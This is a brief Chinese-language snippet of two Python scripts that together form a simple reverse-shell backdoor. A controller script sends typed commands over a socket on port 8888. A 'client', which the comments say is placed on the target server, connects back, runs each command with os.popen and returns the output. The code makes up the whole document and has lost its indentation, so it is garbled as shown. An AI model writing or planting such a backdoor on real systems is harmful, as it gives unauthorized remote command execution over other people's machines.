服务器
#服务端,放在本地
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",8888))
sock.listen(3)
conn,addr = sock.accept()#等待对方连我,会返回一个连接和地址,阻塞运行
while True:
cmd = input("输入cmd指令:")
conn.send(cmd.encode())#发送
msg = conn.recv(1024)#接收
print(msg.decode())
客户端
#客户端,放在服务器
import socket
import os
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("127.0.0.1",8888))
while True:
cmd = sock.recv(1024)#接收对方cmd指令
msg = os.popen(cmd.decode().strip())#结果是个对象,所以要变成字符串
data = ""
for m in msg:
data+=m
sock.send(data.encode())#把指令存在data中,解码后发给服务器